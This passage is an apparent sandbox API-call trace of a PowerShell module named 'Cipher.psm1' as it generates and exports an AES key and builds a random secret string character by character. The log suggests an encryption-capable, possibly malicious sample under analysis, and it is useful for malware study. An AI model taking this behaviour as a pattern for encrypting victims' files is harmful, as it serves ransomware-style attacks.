[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x66, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.815] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.816] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0134.816] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0134.816] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.816] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x75, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.816] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.816] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02360) returned 1 [0134.817] CryptGenKey (in: hProv=0x8e02360, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bb8) returned 1 [0134.817] CryptContextAddRef (hProv=0x8e02360, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.817] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.817] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a46fac, pdwDataLen=0x99ae894 | out: pbData=0x6a46fac*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0134.817] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x6f3c\x6a4\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0134.817] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.817] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x76, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.817] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.817] SysStringLen (param_1="") returned 0x8 [0134.817] SysStringLen (param_1="c") returned 0x8 [0134.817] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="\x9ee8\xb184\xe08b\x81d6\xb1c6\xb89\xab62\x67b6") returned 0x8 [0134.819] SysStringLen (param_1="\x9ee8\xb184\xe08b\x81d6\xb1c6\xb89\xab62\x67b6") returned 0x8 [0134.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="ck") returned 0x8 [0134.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="\xbeb5\xd407\x214a\xf7fe\x327f\x264d\x8745\xfed9") returned 0x8 [0134.819] SysStringLen (param_1="\xbeb5\xd407\x214a\xf7fe\x327f\x264d\x8745\xfed9") returned 0x8 [0134.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="ckL") returned 0x8 [0134.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="瘻桪ꢥộએ䜜喽䈑") returned 0x8 [0134.819] SysStringLen (param_1="瘻桪ꢥộએ䜜喽䈑") returned 0x8 [0134.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="ckL7") returned 0x8 [0134.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="\xba5a\x9b18\xba60\x8f4b\x59f9\xc7c8\xd045\xcbc3") returned 0x8 [0134.819] SysStringLen (param_1="\xba5a\x9b18\xba60\x8f4b\x59f9\xc7c8\xd045\xcbc3") returned 0x8 [0134.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="ckL7A") returned 0x8 [0134.819] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.819] SysStringLen (param_1="\x74b1\x862\xdc1c\xabf8\xa3e0\x5c7c\x3fb7\x8aed") returned 0x8 [0134.819] SysStringLen (param_1="\x74b1\x862\xdc1c\xabf8\xa3e0\x5c7c\x3fb7\x8aed") returned 0x8 [0134.819] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="ckL7A5") returned 0x8 [0134.820] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="\x2277\xea3e\x9013\x626b\x5d85\xdd99\xc1f7\x974") returned 0x8 [0134.820] SysStringLen (param_1="\x2277\xea3e\x9013\x626b\x5d85\xdd99\xc1f7\x974") returned 0x8 [0134.820] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="ckL7A5w") returned 0x8 [0134.820] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="\x5325\xbef3\x1525\xe44\x64ac\xa356\x2bc9\x916c") returned 0x8 [0134.820] SysStringLen (param_1="\x5325\xbef3\x1525\xe44\x64ac\xa356\x2bc9\x916c") returned 0x8 [0134.820] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="ckL7A5wv") returned 0x8 [0134.820] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d") returned 0x8 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d") returned 0x8 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d") returned 0x8 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d") returned 0x10 [0134.820] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.820] SysStringLen (param_1="ckL7A5wv7幼劽찴✋ᆮ") returned 0x10 [0134.820] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x402b\x31bc\x490f\xdf42\x1e44\xbb3a\xca8d\x3eb4") returned 0x10 [0134.820] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x402b\x31bc\x490f\xdf42\x1e44\xbb3a\xca8d\x3eb4") returned 0x10 [0134.820] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="ckL7A5wv7M幼劽찴✋ᆮ") returned 0x10 [0134.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x9fe6\xbb73\xb340\x4bd5\xedc0\x7453\x397c\x8907") returned 0x10 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x9fe6\xbb73\xb340\x4bd5\xedc0\x7453\x397c\x8907") returned 0x10 [0134.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="ckL7A5wv7M7劽찴✋ᆮ") returned 0x10 [0134.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\xc0f2\x69a\x9e70\x43a3\xf032\x2b29\x345d\xabfb") returned 0x10 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\xc0f2\x69a\x9e70\x43a3\xf032\x2b29\x345d\xabfb") returned 0x10 [0134.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="ckL7A5wv7M7z찴✋ᆮ") returned 0x10 [0134.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x7af2\x7fb7\xbb51\xfe13\x15e7\xd39d\x6dd6\xc825") returned 0x10 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x7af2\x7fb7\xbb51\xfe13\x15e7\xd39d\x6dd6\xc825") returned 0x10 [0134.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="ckL7A5wv7M7zv✋ᆮ") returned 0x10 [0134.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\xf465\x25f2\x52b\xb4bc\xb157\x9674\x1d68\x85b0") returned 0x10 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\xf465\x25f2\x52b\xb4bc\xb157\x9674\x1d68\x85b0") returned 0x10 [0134.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="ckL7A5wv7M7zvFᆮ") returned 0x10 [0134.821] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x4869\x3ff1\x36bd\x3a36\x1c58\xa205\x1739\x4ea") returned 0x10 [0134.821] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x4869\x3ff1\x36bd\x3a36\x1c58\xa205\x1739\x4ea") returned 0x10 [0134.821] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.822] SysStringLen (param_1="ckL7A5wv7M7zvFpᆮ") returned 0x10 [0134.822] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x70d6\x641a\x288f\x56d8\xdb9\xbfa0\x4ce9\xe455") returned 0x10 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x70d6\x641a\x288f\x56d8\xdb9\xbfa0\x4ce9\xe455") returned 0x10 [0134.822] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.822] SysStringLen (param_1="ckL7A5wv7M7zvFpR") returned 0x10 [0134.822] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891") returned 0x10 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891") returned 0x10 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891") returned 0x10 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891") returned 0x18 [0134.822] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.822] SysStringLen (param_1="ckL7A5wv7M7zvFpR8뢵冣绬穝ꍷ畒桂") returned 0x18 [0134.822] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xcc0d\x3e34\xa48e\x8e0e\xeec1\x6a91\x4681\x2cff") returned 0x18 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xcc0d\x3e34\xa48e\x8e0e\xeec1\x6a91\x4681\x2cff") returned 0x18 [0134.822] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.822] SysStringLen (param_1="ckL7A5wv7M7zvFpR8O冣绬穝ꍷ畒桂") returned 0x18 [0134.822] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x2d0b\x4e51\xa2ca\x9361\x1ecd\x932d\x5f10\xbe71") returned 0x18 [0134.822] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x2d0b\x4e51\xa2ca\x9361\x1ecd\x932d\x5f10\xbe71") returned 0x18 [0134.822] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="ckL7A5wv7M7zvFpR8OD绬穝ꍷ畒桂") returned 0x18 [0134.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xbfa6\x74b8\xb50e\xf6d3\xaa96\xcaa8\x77d\x77c3") returned 0x18 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xbfa6\x74b8\xb50e\xf6d3\xaa96\xcaa8\x77d\x77c3") returned 0x18 [0134.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo穝ꍷ畒桂") returned 0x18 [0134.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x69b2\x5e49\x1c14\xca34\x71e1\xb6eb\xc07d\x5624") returned 0x18 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x69b2\x5e49\x1c14\xca34\x71e1\xb6eb\xc07d\x5624") returned 0x18 [0134.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8ꍷ畒桂") returned 0x18 [0134.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x9664\xac5a\x6a61\x7b6e\x9685\x640a\x520b\x4c4f") returned 0x18 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x9664\xac5a\x6a61\x7b6e\x9685\x640a\x520b\x4c4f") returned 0x18 [0134.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8p畒桂") returned 0x18 [0134.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x4d3e\x16ee\x2c01\x9f24\xfcd\x54cd\xe49d\x404a") returned 0x18 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x4d3e\x16ee\x2c01\x9f24\xfcd\x54cd\xe49d\x404a") returned 0x18 [0134.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq桂") returned 0x18 [0134.823] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x2778\x9605\x5ea2\x6aee\x7106\xfb82\x144a\x17ca") returned 0x18 [0134.823] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\x2778\x9605\x5ea2\x6aee\x7106\xfb82\x144a\x17ca") returned 0x18 [0134.823] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.824] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5") returned 0x18 [0134.824] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6") returned 0x18 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6") returned 0x18 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6") returned 0x18 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6") returned 0x20 [0134.824] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5Q뒖뀊⤬շ⍵") returned 0x20 [0134.824] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x40a7\xf42c\xcc11\x4f52\x797b\xd49e\x8fc\xb21d") returned 0x20 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x40a7\xf42c\xcc11\x4f52\x797b\xd49e\x8fc\xb21d") returned 0x20 [0134.824] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5Qb뀊⤬շ⍵") returned 0x20 [0134.824] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\xf6c7\x6966\x15e\x22c5\xea08\x49be\x599d\x29db") returned 0x20 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\xf6c7\x6966\x15e\x22c5\xea08\x49be\x599d\x29db") returned 0x20 [0134.824] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR⤬շ⍵") returned 0x20 [0134.824] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x1672\xe1a0\x43a6\xb225\x59f5\xb1cb\x4dfe\x6056") returned 0x20 [0134.824] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x1672\xe1a0\x43a6\xb225\x59f5\xb1cb\x4dfe\x6056") returned 0x20 [0134.824] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="ckL7A5wv7M7zvFpR8ODo8pq5QbR4շ⍵") returned 0x20 [0134.825] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.825] SysStringLen (param_1="\xb628\xf178\x2d34\x53bb\x8f4\x339e\xb458\x217d\x861e\xb89f\x22eb\x7fea\xbe9d\xb7e2\x30a9\x5891\xf4ab\xb4bc\xc342\x282a\x1c91\xe047\x408c\x13a6\x51eb\xfb3\xc071\xc502\x3a14\x3d18\x3d04\xdccc") returned 0x20 [0134.825] SysStringLen 